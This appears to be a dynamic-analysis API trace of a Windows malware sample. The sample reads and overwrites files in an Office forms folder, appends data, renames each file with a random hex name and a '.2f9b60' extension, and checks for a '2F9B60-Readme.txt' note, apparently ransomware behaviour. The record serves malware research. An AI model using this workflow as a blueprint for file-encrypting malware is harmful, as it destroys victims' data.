[0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x4c3134ea [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x45acda12 [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x11d815a3 [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x4da503eb [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x6c8ad7b3 [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x40f96e62 [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x652674af [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x44fdbee2 [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x229ca45a [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x634bcb67 [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x5ec6c825 [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x3c552588 [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x7544678a [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x634eab2e [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x2f8a77ed [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x37a5290c [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x3637c195 [0142.342] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x406aa665 [0142.343] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x54801f7a [0142.343] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x547ae30e [0142.343] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x58e9a7f4 [0142.343] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x4e861d30 [0142.343] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x2b39a03d [0142.343] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x3faccd55 [0142.343] RtlRandomEx (in: Seed=0x3c77f690 | out: Seed=0x3c77f690) returned 0x45f07cb [0142.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff040 [0142.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504310 [0142.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff070 [0142.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504310) returned 1 [0142.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff010) returned 1 [0142.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420599c0 [0142.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504310 [0142.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422d3dd0 [0142.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422d79e0 [0142.357] ReadFile (in: hFile=0x1f50, lpBuffer=0x422d3dd0, nNumberOfBytesToRead=0x2fd, lpNumberOfBytesRead=0x3c77f690, lpOverlapped=0x0 | out: lpBuffer=0x422d3dd0*, lpNumberOfBytesRead=0x3c77f690*=0x2fd, lpOverlapped=0x0) returned 1 [0142.357] SetFilePointerEx (in: hFile=0x1f50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.357] WriteFile (in: hFile=0x1f50, lpBuffer=0x422d79e0*, nNumberOfBytesToWrite=0x2fd, lpNumberOfBytesWritten=0x3c77f694, lpOverlapped=0x0 | out: lpBuffer=0x422d79e0*, lpNumberOfBytesWritten=0x3c77f694*=0x2fd, lpOverlapped=0x0) returned 1 [0160.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a12e0 [0160.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0160.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1310) returned 1 [0160.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422d79e0) returned 1 [0160.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422d3dd0) returned 1 [0160.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504310) returned 1 [0160.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420599c0) returned 1 [0160.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a1310 [0160.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420599c0 [0160.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504310 [0160.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1340 [0160.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1340) returned 1 [0160.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a1340 [0160.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1370 [0160.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a13a0 [0160.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a13a0) returned 1 [0160.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504310) returned 1 [0160.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420599c0) returned 1 [0160.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x42055820 [0160.669] SetFilePointerEx (in: hFile=0x1f50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.669] WriteFile (in: hFile=0x1f50, lpBuffer=0x42055820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3c77f7b0, lpOverlapped=0x0 | out: lpBuffer=0x42055820*, lpNumberOfBytesWritten=0x3c77f7b0*=0x100, lpOverlapped=0x0) returned 1 [0165.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b1d0 [0165.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b1d0) returned 1 [0165.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d1c0 [0165.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b1d0 [0165.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b1a0 [0165.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b1a0) returned 1 [0165.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1b85b1a0 [0165.354] sprintf (in: _Dest=0x1b85b1a0, _Format="%c%c" | out: _Dest="17") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1a2, _Format="%c%c" | out: _Dest="a2") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1a4, _Format="%c%c" | out: _Dest="d8") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1a6, _Format="%c%c" | out: _Dest="6b") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1a8, _Format="%c%c" | out: _Dest="65") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1aa, _Format="%c%c" | out: _Dest="de") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1ac, _Format="%c%c" | out: _Dest="fe") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1ae, _Format="%c%c" | out: _Dest="49") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1b0, _Format="%c%c" | out: _Dest="12") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1b2, _Format="%c%c" | out: _Dest="43") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1b4, _Format="%c%c" | out: _Dest="af") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1b6, _Format="%c%c" | out: _Dest="7a") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1b8, _Format="%c%c" | out: _Dest="3e") returned 2 [0165.354] sprintf (in: _Dest=0x1b85b1ba, _Format="%c%c" | out: _Dest="01") returned 2 [0165.354] RtlInitAnsiString (in: DestinationString=0x3c77f828, SourceString="17a2d86b65defe491243af7a3e01" | out: DestinationString="17a2d86b65defe491243af7a3e01") [0165.354] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c77f7f8, SourceString="17a2d86b65defe491243af7a3e01", AllocateDestinationString=1 | out: DestinationString="17a2d86b65defe491243af7a3e01") returned 0x0 [0165.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059830 [0165.355] RtlFreeAnsiString (AnsiString="1") [0165.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b1a0) returned 1 [0165.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b1d0) returned 1 [0165.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42055820) returned 1 [0165.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1340) returned 1 [0165.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1370) returned 1 [0165.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1310) returned 1 [0165.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a12e0) returned 1 [0165.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef80) returned 1 [0165.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff040) returned 1 [0165.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff070) returned 1 [0165.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x42c306d0 [0165.357] wcscat (in: _Dest=0x42c306d0, _Source="17a2d86" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\17a2d86") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\17a2d86" [0165.358] wcscat (in: _Dest=0x42c306d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\17a2d86.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\17a2d86.2f9b60" [0165.358] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\17a2d86.2f9b60", NtPathName=0x3c77f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\17a2d86.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cbe0 [0165.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0165.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c32db0) returned 1 [0165.359] NtQueryInformationFile (in: FileHandle=0x1f50, IoStatusBlock=0x3c77f838, FileInformation=0x3c77f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c77f838, FileInformation=0x3c77f848) returned 0x0 [0165.360] NtSetInformationFile (FileHandle=0x1f50, IoStatusBlock=0x3c77f838, FileInformation=0x3c77f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c306d0) returned 1 [0165.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.362] FlushFileBuffers (hFile=0x1f50) returned 1 [0166.279] CloseHandle (hObject=0x1f50) returned 1 [0203.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0650 [0203.261] wcscpy (in: _Dest=0x202b0650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0203.261] wcscat (in: _Dest=0x202b0650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0203.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0203.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0650) returned 1 [0203.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae650) returned 1 Thread: id = 2195 os_tid = 0x1658 [0140.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg")) returned 0x20 [0140.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG", dwFileAttributes=0x20) returned 1 [0140.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f1c [0142.325] GetFileSizeEx (in: hFile=0x1f1c, lpFileSize=0x3c84fca0 | out: lpFileSize=0x3c84fca0*=838) returned 1 [0142.325] SetFilePointerEx (in: hFile=0x1f1c, liDistanceToMove=0x342, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.325] ReadFile (in: hFile=0x1f1c, lpBuffer=0x3c84fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c84fc68, lpOverlapped=0x0 | out: lpBuffer=0x3c84fc20*, lpNumberOfBytesRead=0x3c84fc68*=0x4, lpOverlapped=0x0) returned 1 [0142.360] SetFilePointerEx (in: hFile=0x1f1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff010 [0142.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff0a0 [0142.361] NtQuerySystemTime (in: CurrentTime=0x3c84fb60 | out: CurrentTime=0x3c84fb60*=132462177475990000) returned 0x0 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x16ed6841 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0xd5d566f [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x420d7391 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x747cb7d6 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x1cf029b6 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x2bed7353 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x6745af36 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x2d4c3b28 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x5d71ba06 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x50a3d6ed [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x1758ba70 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x44d8fa2c [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x543b1a0d [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x3eafbc16 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x4f3b12a7 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x5fb9039a [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x4acd59cc [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x62bedae0 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x41244722 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x4e07d245 [0142.361] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x5f665e8d [0142.362] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x1dbed9f3 [0142.362] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x6592fcb7 [0142.362] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x524866ac [0142.362] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x59cda3fd [0142.362] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x64261885 [0142.362] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x71ea0ba8 [0142.362] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x5baa3ad7 [0142.362] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x28be68a2 [0142.362] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x3318abf0 [0142.362] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0x459d7303 [0142.362] RtlRandomEx (in: Seed=0x3c84fb50 | out: Seed=0x3c84fb50) returned 0xf5c08bc [0142.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff0d0 [0142.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0142.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff100 [0142.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0142.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff0a0) returned 1 [0142.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0142.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0142.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422db5f0 [0142.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422df200 [0142.375] ReadFile (in: hFile=0x1f1c, lpBuffer=0x422db5f0, nNumberOfBytesToRead=0x346, lpNumberOfBytesRead=0x3c84fb50, lpOverlapped=0x0 | out: lpBuffer=0x422db5f0*, lpNumberOfBytesRead=0x3c84fb50*=0x346, lpOverlapped=0x0) returned 1 [0142.375] SetFilePointerEx (in: hFile=0x1f1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.375] WriteFile (in: hFile=0x1f1c, lpBuffer=0x422df200*, nNumberOfBytesToWrite=0x346, lpNumberOfBytesWritten=0x3c84fb54, lpOverlapped=0x0 | out: lpBuffer=0x422df200*, lpNumberOfBytesWritten=0x3c84fb54*=0x346, lpOverlapped=0x0) returned 1 [0160.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1460 [0160.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1490 [0160.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1490) returned 1 [0160.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422df200) returned 1 [0160.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422db5f0) returned 1 [0160.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0160.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0160.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a1490 [0160.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0160.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0160.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a14c0 [0160.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a14c0) returned 1 [0160.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a14c0 [0160.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a14f0 [0160.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1520 [0160.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1520) returned 1 [0160.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0160.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0160.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x42055a40 [0160.678] SetFilePointerEx (in: hFile=0x1f1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.678] WriteFile (in: hFile=0x1f1c, lpBuffer=0x42055a40*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3c84fc70, lpOverlapped=0x0 | out: lpBuffer=0x42055a40*, lpNumberOfBytesWritten=0x3c84fc70*=0x106, lpOverlapped=0x0) returned 1 [0165.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff190 [0165.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff190) returned 1 [0165.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0165.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff190 [0165.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff160 [0165.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff160) returned 1 [0165.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9fc70 [0165.385] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="e1") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="d4") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="5d") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="49") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="25") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="2b") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="24") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="d0") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="21") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="91") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="46") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="2a") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="ee") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="53") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="f1") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="6a") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="3a") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="9d") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="56") returned 2 [0165.385] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="f8") returned 2 [0165.386] RtlInitAnsiString (in: DestinationString=0x3c84fce8, SourceString="e1d45d49252b24d02191462aee53f16a3a9d56f8" | out: DestinationString="e1d45d49252b24d02191462aee53f16a3a9d56f8") [0165.386] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c84fcb8, SourceString="e1d45d49252b24d02191462aee53f16a3a9d56f8", AllocateDestinationString=1 | out: DestinationString="e1d45d49252b24d02191462aee53f16a3a9d56f8") returned 0x0 [0165.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86250 [0165.386] RtlFreeAnsiString (AnsiString="e") [0165.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 